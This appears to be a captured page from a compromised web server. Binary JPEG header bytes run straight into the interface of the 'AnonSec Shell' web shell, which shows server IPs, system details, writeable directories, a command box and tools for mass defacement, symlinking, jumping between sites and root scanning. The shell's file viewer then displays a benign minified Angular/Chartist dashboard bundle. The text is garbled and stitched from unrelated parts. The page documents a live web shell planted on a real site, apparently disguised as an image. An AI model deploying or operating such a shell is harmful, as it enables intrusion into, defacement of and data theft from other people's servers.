JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www_local/modis.angelopescatore.it/public/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www_local/modis.angelopescatore.it/public/9-es5.21d70416c9370c9754d8.js
!function(){function t(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function e(t,e){for(var i=0;i<e.length;i++){var n=e[i];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(t,n.key,n)}}function i(t,i,n){return i&&e(t.prototype,i),n&&e(t,n),t}(window.webpackJsonp=window.webpackJsonp||[]).push([[9],{"6N5d":function(e,n,a){"use strict";a.d(n,"a",function(){return c});var s=a("AytR"),r=a("WD1m"),o=a("fXoL"),l=a("tk/3"),c=function(){var e=function(){function e(i,n){t(this,e),this.http=i,this.authorizationService=n}return i(e,[{key:"getRole",value:function(){return this.http.get(s.a.apiUrl+"roles",this.authorizationService.getAuthorization())}},{key:"getLanguagesList",value:function(){return this.http.get(s.a.apiUrl+"languages",this.authorizationService.getAuthorization())}},{key:"getNations",value:function(){return this.http.get(s.a.apiUrl+"nazioni",this.authorizationService.getAuthorization())}},{key:"getRegions",value:function(){return this.http.get(s.a.apiUrl+"regioni",this.authorizationService.getAuthorization())}},{key:"getCities",value:function(){return this.http.get(s.a.apiUrl+"comuni",this.authorizationService.getAuthorization())}},{key:"getCitiesByRegion",value:function(t){return this.http.get(s.a.apiUrl+"comuni/regione/"+t,this.authorizationService.getAuthorization())}},{key:"getCitiesByRegionName",value:function(t){return this.http.get(s.a.apiUrl+"comuni/regioneByName/"+t,this.authorizationService.getAuthorization())}},{key:"getCategoryById",value:function(t){return this.http.get(s.a.apiUrl+"categorie/"+t,this.authorizationService.getAuthorization())}},{key:"getCategoriesByMacroarea",value:function(t){return this.http.get(s.a.apiUrl+"categoriesByMacroarea/"+t,this.authorizationService.getAuthorization())}},{key:"getSkillsByCategory",value:function(t){return this.http.get(s.a.apiUrl+"skillsByCategory/"+t,this.authorizationService.getAuthorization())}},{key:"getAllCandidateSkillsSector",value:function(){return this.http.get(s.a.apiUrl+"candidate-skills-sector",this.authorizationService.getAuthorization())}},{key:"getMacroareas",value:function(){return this.http.get(s.a.apiUrl+"macro-areas",this.authorizationService.getAuthorization())}},{key:"getCategories",value:function(){return this.http.get(s.a.apiUrl+"categories",this.authorizationService.getAuthorization())}},{key:"getSkills",value:function(){return this.skills||(this.skills=this.http.get(s.a.apiUrl+"skills",this.authorizationService.getAuthorization())),this.skills}},{key:"getSchools",value:function(){return this.http.get(s.a.apiUrl+"schools",this.authorizationService.getAuthorization())}},{key:"searchSchools",value:function(t){return this.http.get(s.a.apiUrl+"school/"+t,this.authorizationService.getAuthorization())}},{key:"getSchoolsPaginated",value:function(t){return this.http.get(s.a.apiUrl+"schools?paginate"+(t?"&page=".concat(t):""),this.authorizationService.getAuthorization())}},{key:"getSchoolsByCity",value:function(t){return this.http.get(s.a.apiUrl+"school/comune/"+t,this.authorizationService.getAuthorization())}},{key:"getAllEmployeeSkillsSector",value:function(){return this.http.get(s.a.apiUrl+"user-skills-sector",this.authorizationService.getAuthorization())}},{key:"getAllJobTitles",value:function(){return this.http.get(s.a.apiUrl+"jobtitles",this.authorizationService.getAuthorization())}},{key:"getAllRecruitmentOptions",value:function(){return this.http.get(s.a.apiUrl+"recruitment-options",this.authorizationService.getAuthorization())}},{key:"getAllGeographicOptions",value:function(){return this.http.get(s.a.apiUrl+"continenti",this.authorizationService.getAuthorization())}},{key:"getAllValutazioneOptions",value:function(){return this.http.get(s.a.apiUrl+"valutazione-options",this.authorizationService.getAuthorization())}},{key:"getAllEducationLevelOptions",value:function(){return this.http.get(s.a.apiUrl+"education-level-options",this.authorizationService.getAuthorization())}},{key:"getAllEducationTitleOptions",value:function(){return this.http.get(s.a.apiUrl+"education-title-options",this.authorizationService.getAuthorization())}},{key:"getAllLanguagesLevelOptions",value:function(){return this.http.get(s.a.apiUrl+"languages-level-options",this.authorizationService.getAuthorization())}},{key:"getAllFormazioneIssuerOptions",value:function(){return this.http.get(s.a.apiUrl+"formazione-issuer-options",this.authorizationService.getAuthorization())}},{key:"getAllegatiCategoryOptions",value:function(){return this.http.get(s.a.apiUrl+"allegati-category-options",this.authorizationService.getAuthorization())}},{key:"getAllColloquioInterviewOptions",value:function(){return this.http.get(s.a.apiUrl+"colloquio-interview-options",this.authorizationService.getAuthorization())}},{key:"getAllColloquioLevelOptions",value:function(){return this.http.get(s.a.apiUrl+"colloquio-level-options",this.authorizationService.getAuthorization())}},{key:"getAllIndustryOptions",value:function(){return this.http.get(s.a.apiUrl+"industry",this.authorizationService.getAuthorization())}},{key:"getAllMobilitazioneOptions",value:function(){return this.http.get(s.a.apiUrl+"mobilitazione-options",this.authorizationService.getAuthorization())}},{key:"getAllEventsOptions",value:function(){return this.http.get(s.a.apiUrl+"scheduler-options",this.authorizationService.getAuthorization())}},{key:"getAllEducationNameOptions",value:function(){return this.http.get(s.a.apiUrl+"education-options",this.authorizationService.getAuthorization())}},{key:"getAllStatistics",value:function(){return this.http.get(s.a.apiUrl+"statistics",this.authorizationService.getAuthorization())}},{key:"updateUserImage",value:function(t,e){return this.http.post("".concat(s.a.apiUrl,"updateImage/").concat(t),e,this.authorizationService.getAuthorization())}}]),e}();return e.\u0275fac=function(t){return new(t||e)(o.Zb(l.b),o.Zb(r.a))},e.\u0275prov=o.Lb({token:e,factory:e.\u0275fac,providedIn:"root"}),e}()},"99Un":function(e,n,a){"use strict";a.r(n),a.d(n,"HomeModule",function(){return N});var s,r,o=a("ofXK"),l=a("tyNb"),c=a("3Pt+"),h=a("dZIy"),u=a("3Nfp"),d=a("6N5d"),p=a("E872"),f=a("AytR"),g=a("fXoL"),m=a("uki+"),v=((r=function(){function e(i){t(this,e),this.elementRef=i,this.initialized=new g.n}return i(e,[{key:"ngOnInit",value:function(){this.type&&this.data&&this.renderChart()}},{key:"ngOnChanges",value:function(t){this.update(t)}},{key:"ngOnDestroy",value:function(){this.chart&&(this.chart.detach(),this.chart=null)}},{key:"renderChart",value:function(){var t=this.elementRef.nativeElement;if(!(this.type in m))throw new Error("".concat(this.type," is not a valid chart type"));this.chart=m[this.type](t,this.data,this.options,this.responsiveOptions),this.events&&this.bindEvents(),this.initialized.emit(this.chart)}},{key:"update",value:function(t){this.type&&this.data&&(!this.chart||"type"in t?this.renderChart():(t.data||t.options)&&this.chart.update(this.data,this.options))}},{key:"bindEvents",value:function(){for(var t=0,e=Object.keys(this.events);t<e.length;t++){var i=e[t];this.chart.on(i,this.events[i])}}}]),e}()).\u0275fac=function(t){return new(t||r)(g.Pb(g.l))},r.\u0275cmp=g.Jb({type:r,selectors:[["x-chartist"]],inputs:{data:"data",type:"type",options:"options",responsiveOptions:"responsiveOptions",events:"events"},outputs:{initialized:"initialized"},features:[g.Ab],decls:0,vars:0,template:function(t,e){},styles:["[_nghost-%COMP%] {\n        display: block;\n      }"]}),r),b=((s=function e(){t(this,e)}).\u0275fac=function(t){return new(t||s)},s.\u0275mod=g.Nb({type:s}),s.\u0275inj=g.Mb({imports:[[]]}),s),y=a("sYmb"),x=function(t){return[t]};function w(t,e){if(1&t&&(g.Vb(0,"div",13),g.Vb(1,"div",14),g.Vb(2,"div",15),g.Vb(3,"h2"),g.Ic(4),g.hc(5,"translate"),g.Ub(),g.Vb(6,"small"),g.Ic(7),g.hc(8,"translate"),g.Ub(),g.Ub(),g.Vb(9,"div",16),g.Qb(10,"x-chartist",17),g.Ub(),g.Ub(),g.Ub()),2&t){var i=e.$implicit;g.Cb(1),g.Eb(g.rc(11,x,"bg-"+i.color)),g.Cb(3),g.Jc(g.ic(5,7,i.number)),g.Cb(3),g.Jc(g.ic(8,9,i.title)),g.Cb(3),g.nc("type",i.type)("data",i.chart)("options",i.option)}}function k(t,e){if(1&t&&(g.Vb(0,"div",18),g.Vb(1,"div",19),g.Vb(2,"div",20),g.Vb(3,"h4",21),g.Ic(4),g.hc(5,"translate"),g.Ub(),g.Vb(6,"h6",22),g.Ic(7),g.hc(8,"translate"),g.Ub(),g.Qb(9,"x-chartist",23),g.Ub(),g.Ub(),g.Ub()),2&t){var i=e.$implicit;g.Cb(4),g.Jc(g.ic(5,5,"Candidati")),g.Cb(3),g.Jc(g.ic(8,7,"Statistica numero di candidati in un anno")),g.Cb(2),g.nc("type",i.type)("data",i.data)("options",i.option)}}function S(t,e){if(1&t&&(g.Vb(0,"div",24),g.Vb(1,"div",19),g.Vb(2,"div",20),g.Vb(3,"h4",21),g.Ic(4),g.hc(5,"translate"),g.Ub(),g.Vb(6,"h6",22),g.Ic(7),g.hc(8,"translate"),g.hc(9,"translate"),g.Ub(),g.Qb(10,"x-chartist",25),g.Ub(),g.Ub(),g.Ub()),2&t){var i=e.$implicit;g.Cb(4),g.Jc(g.ic(5,6,i.name)),g.Cb(3),g.Lc("",g.ic(8,8,"Rappresentazione delle skills della macroarea di ")," ",g.ic(9,10,i.name),""),g.Cb(3),g.nc("type",i.type)("data",i.data)("options",i.options)}}function A(t,e){if(1&t){var i=g.Wb();g.Vb(0,"section"),g.Vb(1,"header",1),g.Vb(2,"h1"),g.Ic(3),g.hc(4,"translate"),g.Ub(),g.Vb(5,"small"),g.Ic(6),g.hc(7,"translate"),g.Ub(),g.Vb(8,"div",2),g.Vb(9,"button",3),g.cc("click",function(){return g.Ac(i),g.gc().skillMatrixEntity="employee"}),g.Qb(10,"i",4),g.Vb(11,"span",5),g.Ic(12),g.hc(13,"translate"),g.Ub(),g.Ub(),g.Ub(),g.Ub(),g.Vb(14,"h5"),g.Ic(15),g.hc(16,"translate"),g.Ub(),g.Vb(17,"div",6),g.Vb(18,"div",7),g.Vb(19,"div",8),g.Vb(20,"div",9),g.Gc(21,w,11,13,"div",10),g.Ub(),g.Ub(),g.Ub(),g.Ub(),g.Vb(22,"h5"),g.Ic(23),g.hc(24,"translate"),g.Ub(),g.Vb(25,"div",6),g.Gc(26,k,10,9,"div",11),g.Ub(),g.Vb(27,"h5"),g.Ic(28),g.hc(29,"translate"),g.Ub(),g.Vb(30,"div",6),g.Gc(31,S,11,12,"div",12),g.Ub(),g.Ub()}if(2&t){var n=g.gc();g.Cb(3),g.Jc(g.ic(4,9,"Dashboard")),g.Cb(3),g.Jc(g.ic(7,11,"Benvenuto nell'esclusiva dashboard ModeRN")),g.Cb(6),g.Jc(g.ic(13,13,"Skill Matrix Dipendenti")),g.Cb(3),g.Jc(g.ic(16,15,"Riepilogo")),g.Cb(6),g.nc("ngForOf",n.quickStatsData),g.Cb(2),g.Jc(g.ic(24,17,"Candidati")),g.Cb(3),g.nc("ngForOf",n.salesStats),g.Cb(2),g.Jc(g.ic(29,19,"Abilit\xe0")),g.Cb(3),g.nc("ngForOf",n.candidatePieList)}}function z(t,e){if(1&t){var i=g.Wb();g.Vb(0,"div",2),g.Vb(1,"button",3),g.cc("click",function(){return g.Ac(i),g.gc(2).skillMatrixEntity="candidate"}),g.Qb(2,"i",4),g.Vb(3,"span",5),g.Ic(4),g.hc(5,"translate"),g.Ub(),g.Ub(),g.Ub()}2&t&&(g.Cb(4),g.Jc(g.ic(5,1,"Dashboard Candidati")))}function C(t,e){if(1&t&&(g.Vb(0,"div",24),g.Vb(1,"div",19),g.Vb(2,"div",20),g.Vb(3,"h4",21),g.Ic(4),g.hc(5,"translate"),g.Ub(),g.Vb(6,"h6",22),g.Ic(7),g.hc(8,"translate"),g.hc(9,"translate"),g.Ub(),g.Qb(10,"x-chartist",25),g.Ub(),g.Ub(),g.Ub()),2&t){var i=e.$implicit;g.Cb(4),g.Jc(g.ic(5,6,i.name)),g.Cb(3),g.Lc("",g.ic(8,8,"Rappresentazione delle skills della macroarea di ")," ",g.ic(9,10,i.name),""),g.Cb(3),g.nc("type",i.type)("data",i.data)("options",i.options)}}function O(t,e){if(1&t&&(g.Vb(0,"section"),g.Vb(1,"section"),g.Vb(2,"header",1),g.Vb(3,"h1"),g.Ic(4),g.hc(5,"translate"),g.Ub(),g.Vb(6,"small"),g.Ic(7),g.hc(8,"translate"),g.Ub(),g.Gc(9,z,6,3,"div",26),g.Ub(),g.Vb(10,"h5"),g.Ic(11),g.hc(12,"translate"),g.Ub(),g.Vb(13,"div",6),g.Gc(14,C,11,12,"div",12),g.Ub(),g.Ub(),g.Ub()),2&t){var i=g.gc();g.Cb(4),g.Jc(g.ic(5,5,"Skill Matrix")),g.Cb(3),g.Jc(g.ic(8,7,"Benvenuto nella Skill Matrix dei dipendenti")),g.Cb(2),g.nc("ngIf",!i.skillMatrixMode),g.Cb(2),g.Jc(g.ic(12,9,"Abilit\xe0")),g.Cb(3),g.nc("ngForOf",i.employeePieList)}}var E,M,_=((E=function(){function e(i,n){var a=this;t(this,e),this.translate=i,this.utilService=n,this.skillMatrixMode=!0,this.typeGrowRate="Line",this.quickStatsData=[],this.salesStats=[],this.candidatePieList=[],this.employeePieList=[],this.skillMatrixEntity="candidate",this.dataGrowRate={labels:["Gen","Feb","Mar","Apr","Mag","Giu","Lug","Ago","Set","Ott","Nov","Dic"],series:[{name:"2018",data:[40,20,30,40,50,20,10,5,40,80,40,20]},{name:"2019",data:[20,30,60,40,100,25,65,40,75,80,90,10]},{name:"2020",data:[30,20,60,90,80,10,5,30,45,80,90,87]}]},this.optionsGrowRate={height:"250px",chartPadding:{left:12,bottom:-15},fullWidth:!0,showPoint:!1,plugins:[p({position:"bottom"})]},this.skillMatrixMode=f.a.skillMatrixMode,this.dataStatistics=[{}],this.retrieveData().subscribe(function(t){t&&a.setChartsData()})}return i(e,[{key:"ngOnInit",value:function(){}},{key:"retrieveData",value:function(){var t=this,e=this.utilService.getAllStatistics();return e.subscribe(function(e){t.dataStatistics=e.message,console.log("data",t.dataStatistics)}),e}},{key:"setChartsData",value:function(){var t=this;Object.keys(this.dataStatistics).forEach(function(e){switch(e){case"totale_candidati":t.processTotaleCandidati(void 0,"Bar");break;case"totale_dipendenti":t.processTotaleDipendenti(void 0,"Bar");break;case"candidati_assunti":t.processCandidatiAssunti(void 0,"Bar");break;case"candidati_not_target":t.processCandidatiNotTarget(void 0,"Bar");break;case"candidati_over_time":t.processCandidatiOverTime();break;case"candidate_skills":t.processCandidateSkillsData();break;case"employee_skills":t.processEmployeeSkillsData()}})}},{key:"processTotaleCandidati",value:function(t,e){this.quickStatsData.push({title:"Totale Candidati",number:this.dataStatistics.totale_candidati,color:"blue",chart:{series:[[6,4,8,6,5,6,7,8,1,5,9,5]]},type:e,option:{height:"36px",width:"65px",showPoint:!1,fullWidth:!0,chartPadding:{top:0,right:0,bottom:0,left:0},axisX:{showGrid:!1,showLabel:!1,offset:0},axisY:{showGrid:!1,showLabel:!1,offset:0}}})}},{key:"processTotaleDipendenti",value:function(t,e){this.quickStatsData.push({title:"Totale Dipendenti",number:this.dataStatistics.totale_dipendenti,color:"orange",chart:{series:[[6,4,8,6,5,6,7,8,1,5,9,5]]},type:e,option:{height:"36px",width:"65px",showPoint:!1,fullWidth:!0,chartPadding:{top:0,right:0,bottom:0,left:0},axisX:{showGrid:!1,showLabel:!1,offset:0},axisY:{showGrid:!1,showLabel:!1,offset:0}}})}},{key:"processCandidatiAssunti",value:function(t,e){this.quickStatsData.push({title:"Candidati Assunti",number:this.dataStatistics.candidati_assunti,color:"green",chart:{series:[[6,4,8,6,5,6,7,8,1,5,9,5]]},type:e,option:{height:"36px",width:"65px",showPoint:!1,fullWidth:!0,chartPadding:{top:0,right:0,bottom:0,left:0},axisX:{showGrid:!1,showLabel:!1,offset:0},axisY:{showGrid:!1,showLabel:!1,offset:0}}})}},{key:"processCandidatiNotTarget",value:function(t,e){this.quickStatsData.push({title:"Candidati Rifiutati",number:this.dataStatistics.candidati_not_target,color:"red",chart:{series:[[6,4,8,6,5,6,7,8,1,5,9,5]]},type:e,option:{height:"36px",width:"65px",showPoint:!1,fullWidth:!0,chartPadding:{top:0,right:0,bottom:0,left:0},axisX:{showGrid:!1,showLabel:!1,offset:0},axisY:{showGrid:!1,showLabel:!1,offset:0}}})}},{key:"processCandidatiOverTime",value:function(){var t=Object.keys(this.dataStatistics.candidati_over_time),e=[],i=Object.values(this.dataStatistics.candidati_over_time);t.forEach(function(t){var i=t.split("-");e.push(i[1])});var n={data:this.dataSaleStat={labels:e,series:[{name:"2022",data:i}]},type:"Line",option:{height:"250px",chartPadding:{left:-12,bottom:-15},fullWidth:!0,low:0,showArea:!0,showPoint:!1,plugins:[p({position:"bottom"})]}};this.salesStats.push(n)}},{key:"processCandidateSkillsData",value:function(){var t=this,e=[];this.dataStatistics.candidate_skills.forEach(function(t){t.skills.forEach(function(t){var i=t.industry,n=t.skill;e[i]||(e[i]=[]),e[i][n]||(e[i][n]=0),e[i][n]++})}),Object.keys(e).forEach(function(i){switch(i){case"Automotive":var n=Object.keys(e.Automotive),a=Object.values(e.Automotive),s={data:t.dataPie={series:a,labels:n},name:"Automotive",options:{showLabel:!1,startAngle:270,plugins:[p({position:"bottom"})]},type:"Pie"};t.candidatePieList.push(s);break;case"Finance":var r=Object.keys(e.Finance),o=Object.values(e.Finance),l={data:t.dataPie={series:o,labels:r},name:"Finance",options:{showLabel:!1,startAngle:270,plugins:[p({position:"bottom"})]},type:"Pie"};t.candidatePieList.push(l);break;case"Fashion":var c=Object.keys(e.Fashion),h=Object.values(e.Fashion),u={data:t.dataPie={series:h,labels:c},name:"Fashion",options:{showLabel:!1,startAngle:270,plugins:[p({position:"bottom"})]},type:"Pie"};t.candidatePieList.push(u)}})}},{key:"processEmployeeSkillsData",value:function(){var t=this,e=[];this.dataStatistics.employee_skills.forEach(function(t){t.skills.forEach(function(t){var i=t.industry,n=t.skill;e[i]||(e[i]=[]),e[i][n]||(e[i][n]=0),e[i][n]++})}),Object.keys(e).forEach(function(i){switch(i){case"Automotive":var n=Object.keys(e.Automotive),a=Object.values(e.Automotive),s={data:t.dataPie={series:a,labels:n},name:"Automotive",options:{showLabel:!1,startAngle:270,plugins:[p({position:"bottom"})]},type:"Pie"};t.employeePieList.push(s);break;case"Finance":var r=Object.keys(e.Finance),o=Object.values(e.Finance),l={data:t.dataPie={series:o,labels:r},name:"Finance",options:{showLabel:!1,startAngle:270,plugins:[p({position:"bottom"})]},type:"Pie"};t.employeePieList.push(l);break;case"Fashion":var c=Object.keys(e.Fashion),h=Object.values(e.Fashion),u={data:t.dataPie={series:h,labels:c},name:"Fashion",options:{showLabel:!1,startAngle:270,plugins:[p({position:"bottom"})]},type:"Pie"};t.employeePieList.push(u)}})}}]),e}()).\u0275fac=function(t){return new(t||E)(g.Pb(u.a),g.Pb(d.a))},E.\u0275cmp=g.Jb({type:E,selectors:[["app-home"]],decls:2,vars:2,consts:[[4,"ngIf"],[1,"content__title",2,"color","black"],[1,"actions"],[1,"btn","btn-orange","mod","btn--icon-text","text-center",3,"click"],[1,"zmdi","zmdi-view-column"],[1,"d-none","d-md-inline"],[1,"row"],[1,"col-12"],[1,"card-body","lightshadow","p-3","mb-4","card"],[1,"row","quick-stats"],["class","col-sm-6 col-md-3",4,"ngFor","ngForOf"],["class","col-md-12",4,"ngFor","ngForOf"],["class","col-md-4",4,"ngFor","ngForOf"],[1,"col-sm-6","col-md-3"],[1,"quick-stats__item","m-0"],[1,"quick-stats__info"],[1,"quick-stats__chart","w-50","text-right"],["className","stats",3,"type","data","options"],[1,"col-md-12"],[1,"card"],[1,"card-body","lightshadow"],[1,"card-title"],[1,"card-subtitle"],[3,"type","data","options"],[1,"col-md-4"],[1,"chart-pie",3,"type","data","options"],["class","actions",4,"ngIf"]],template:function(t,e){1&t&&(g.Gc(0,A,32,21,"section",0),g.Gc(1,O,15,11,"section",0)),2&t&&(g.nc("ngIf","candidate"==e.skillMatrixEntity&&!e.skillMatrixMode),g.Cb(1),g.nc("ngIf","employee"==e.skillMatrixEntity||e.skillMatrixMode))},directives:[o.n,o.m,v],pipes:[y.c],styles:[".quick-stats__item[_ngcontent-%COMP%]{padding:1.5rem 1.5rem 1.45rem;border-radius:2px;box-shadow:0 2px 5px rgba(0,0,0,.08);margin-bottom:30px;display:flex;align-items:flex-start}.quick-stats__info[_ngcontent-%COMP%]{min-width:0;color:#fff}.quick-stats__info[_ngcontent-%COMP%] > h2[_ngcontent-%COMP%], .quick-stats__info[_ngcontent-%COMP%] > small[_ngcontent-%COMP%]{line-height:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;color:#fff}.quick-stats__info[_ngcontent-%COMP%] > h2[_ngcontent-%COMP%]{font-weight:400;margin:0;font-size:1.3rem;color:#fff}.quick-stats__info[_ngcontent-%COMP%] > small[_ngcontent-%COMP%]{font-size:1rem;display:block;margin-top:.6rem;color:#fff}.quick-stats__chart[_ngcontent-%COMP%]{position:relative;width:100%;margin:1px 0 0 auto;color:#fff}@media (min-width:576px) and (max-width:1199.98px){.quick-stats__chart[_ngcontent-%COMP%]{display:none}}.quick-stats__chart[_ngcontent-%COMP%]     .ct-bar{stroke-width:3;stroke:#fff}.customChart[_ngcontent-%COMP%]{width:200px;height:200px}.content__title[_ngcontent-%COMP%]{padding:0}.content__title[_ngcontent-%COMP%] > h1[_ngcontent-%COMP%]{font-size:1.5rem}"]}),E),P=a("Gwof"),L=a("d2mR"),U=[{path:"",component:_}],N=((M=function e(){t(this,e)}).\u0275fac=function(t){return new(t||M)},M.\u0275mod=g.Nb({type:M}),M.\u0275inj=g.Mb({providers:[P.a],imports:[[b,L.a,o.c,c.j,l.j.forChild(U),h.d.forRoot()]]}),M)},E872:function(t,e,i){var n,a,s;s=this,n=[i("uki+")],void 0===(a=(function(t){return s.returnExportsGlobal=function(t){"use strict";var e={className:"",classNames:!1,removeAll:!1,legendNames:!1,clickable:!0,onClick:null,position:"top"};return t.plugins=t.plugins||{},t.plugins.legend=function(i){function n(t,e){return t-e}if(i&&i.position){if(!("top"===i.position||"bottom"===i.position||i.position instanceof HTMLElement))throw Error("The position you entered is not a valid position");if(i.position instanceof HTMLElement){var a=i.position;delete i.position}}return i=t.extend({},e,i),a&&(i.position=a),function(e){var a=e.container.querySelector(".ct-legend");if(a&&a.parentNode.removeChild(a),i.clickable){var s=e.data.series.map(function(i,n){return"object"!=typeof i&&(i={value:i}),i.className=i.className||e.options.classNames.series+"-"+t.alphaNumerate(n),i});e.data.series=s}var r=document.createElement("ul"),o=e instanceof t.Pie;r.className="ct-legend",e instanceof t.Pie&&r.classList.add("ct-legend-inside"),"string"==typeof i.className&&i.className.length>0&&r.classList.add(i.className),e.options.width&&(r.style.cssText="width: "+e.options.width+"px;margin: 0 auto;");var l=[],c=e.data.series.slice(0),h=e.data.series,u=o&&e.data.labels&&e.data.labels.length;if(u){var d=e.data.labels.slice(0);h=e.data.labels}h=i.legendNames||h;var p=Array.isArray(i.classNames)&&i.classNames.length===h.length;h.forEach(function(t,e){var n=document.createElement("li");n.className="ct-series-"+e,p&&(n.className+=" "+i.classNames[e]),n.setAttribute("data-legend",e),n.textContent=t.name||t,r.appendChild(n)}),e.on("created",function(t){if(i.position instanceof HTMLElement)i.position.insertBefore(r,null);else switch(i.position){case"top":e.container.insertBefore(r,e.container.childNodes[0]);break;case"bottom":e.container.insertBefore(r,null)}}),i.clickable&&r.addEventListener("click",function(t){var a=t.target;if(a.parentNode===r&&a.hasAttribute("data-legend")){t.preventDefault();var s=parseInt(a.getAttribute("data-legend")),o=l.indexOf(s);o>-1?(l.splice(o,1),a.classList.remove("inactive")):i.removeAll||e.data.series.length>1?(l.push(s),a.classList.add("inactive")):(l=[],Array.prototype.slice.call(r.childNodes).forEach(function(t){t.classList.remove("inactive")}));var h=c.slice(0);if(u)var p=d.slice(0);l.sort(n).reverse(),l.forEach(function(t){h.splice(t,1),u&&p.splice(t,1)}),i.onClick&&i.onClick(e,t),e.data.series=h,u&&(e.data.labels=p),e.update()}})}},t.plugins.legend}(t)}).apply(e,n))||(t.exports=a)},"uki+":function(t,e,i){var n,a;a=this,void 0===(n=(function(){return a.Chartist=function(){var t={version:"0.11.4"};return function(t,e){"use strict";var i=t.window,n=t.document;e.namespaces={svg:"http://www.w3.org/2000/svg",xmlns:"http://www.w3.org/2000/xmlns/",xhtml:"http://www.w3.org/1999/xhtml",xlink:"http://www.w3.org/1999/xlink",ct:"http://gionkunz.github.com/chartist-js/ct"},e.noop=function(t){return t},e.alphaNumerate=function(t){return String.fromCharCode(97+t%26)},e.extend=function(t){var i,n,a;for(t=t||{},i=1;i<arguments.length;i++)for(var s in n=arguments[i])t[s]="object"!=typeof(a=n[s])||null===a||a instanceof Array?a:e.extend(t[s],a);return t},e.replaceAll=function(t,e,i){return t.replace(new RegExp(e,"g"),i)},e.ensureUnit=function(t,e){return"number"==typeof t&&(t+=e),t},e.quantity=function(t){if("string"==typeof t){var e=/^(\d+)\s*(.*)$/g.exec(t);return{value:+e[1],unit:e[2]||void 0}}return{value:t}},e.querySelector=function(t){return t instanceof Node?t:n.querySelector(t)},e.times=function(t){return Array.apply(null,new Array(t))},e.sum=function(t,e){return t+(e||0)},e.mapMultiply=function(t){return function(e){return e*t}},e.mapAdd=function(t){return function(e){return e+t}},e.serialMap=function(t,i){var n=[],a=Math.max.apply(null,t.map(function(t){return t.length}));return e.times(a).forEach(function(e,a){var s=t.map(function(t){return t[a]});n[a]=i.apply(null,s)}),n},e.roundWithPrecision=function(t,i){var n=Math.pow(10,i||e.precision);return Math.round(t*n)/n},e.precision=8,e.escapingMap={"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#039;"},e.serialize=function(t){return null==t?t:("number"==typeof t?t=""+t:"object"==typeof t&&(t=JSON.stringify({data:t})),Object.keys(e.escapingMap).reduce(function(t,i){return e.replaceAll(t,i,e.escapingMap[i])},t))},e.deserialize=function(t){if("string"!=typeof t)return t;t=Object.keys(e.escapingMap).reduce(function(t,i){return e.replaceAll(t,e.escapingMap[i],i)},t);try{t=void 0!==(t=JSON.parse(t)).data?t.data:t}catch(i){}return t},e.createSvg=function(t,i,n,a){var s;return i=i||"100%",n=n||"100%",Array.prototype.slice.call(t.querySelectorAll("svg")).filter(function(t){return t.getAttributeNS(e.namespaces.xmlns,"ct")}).forEach(function(e){t.removeChild(e)}),(s=new e.Svg("svg").attr({width:i,height:n}).addClass(a))._node.style.width=i,s._node.style.height=n,t.appendChild(s._node),s},e.normalizeData=function(t,i,n){var a,s={raw:t,normalized:{}};return s.normalized.series=e.getDataArray({series:t.series||[]},i,n),a=s.normalized.series.every(function(t){return t instanceof Array})?Math.max.apply(null,s.normalized.series.map(function(t){return t.length})):s.normalized.series.length,s.normalized.labels=(t.labels||[]).slice(),Array.prototype.push.apply(s.normalized.labels,e.times(Math.max(0,a-s.normalized.labels.length)).map(function(){return""})),i&&e.reverseData(s.normalized),s},e.safeHasProperty=function(t,e){return null!==t&&"object"==typeof t&&t.hasOwnProperty(e)},e.isDataHoleValue=function(t){return null==t||"number"==typeof t&&isNaN(t)},e.reverseData=function(t){t.labels.reverse(),t.series.reverse();for(var e=0;e<t.series.length;e++)"object"==typeof t.series[e]&&void 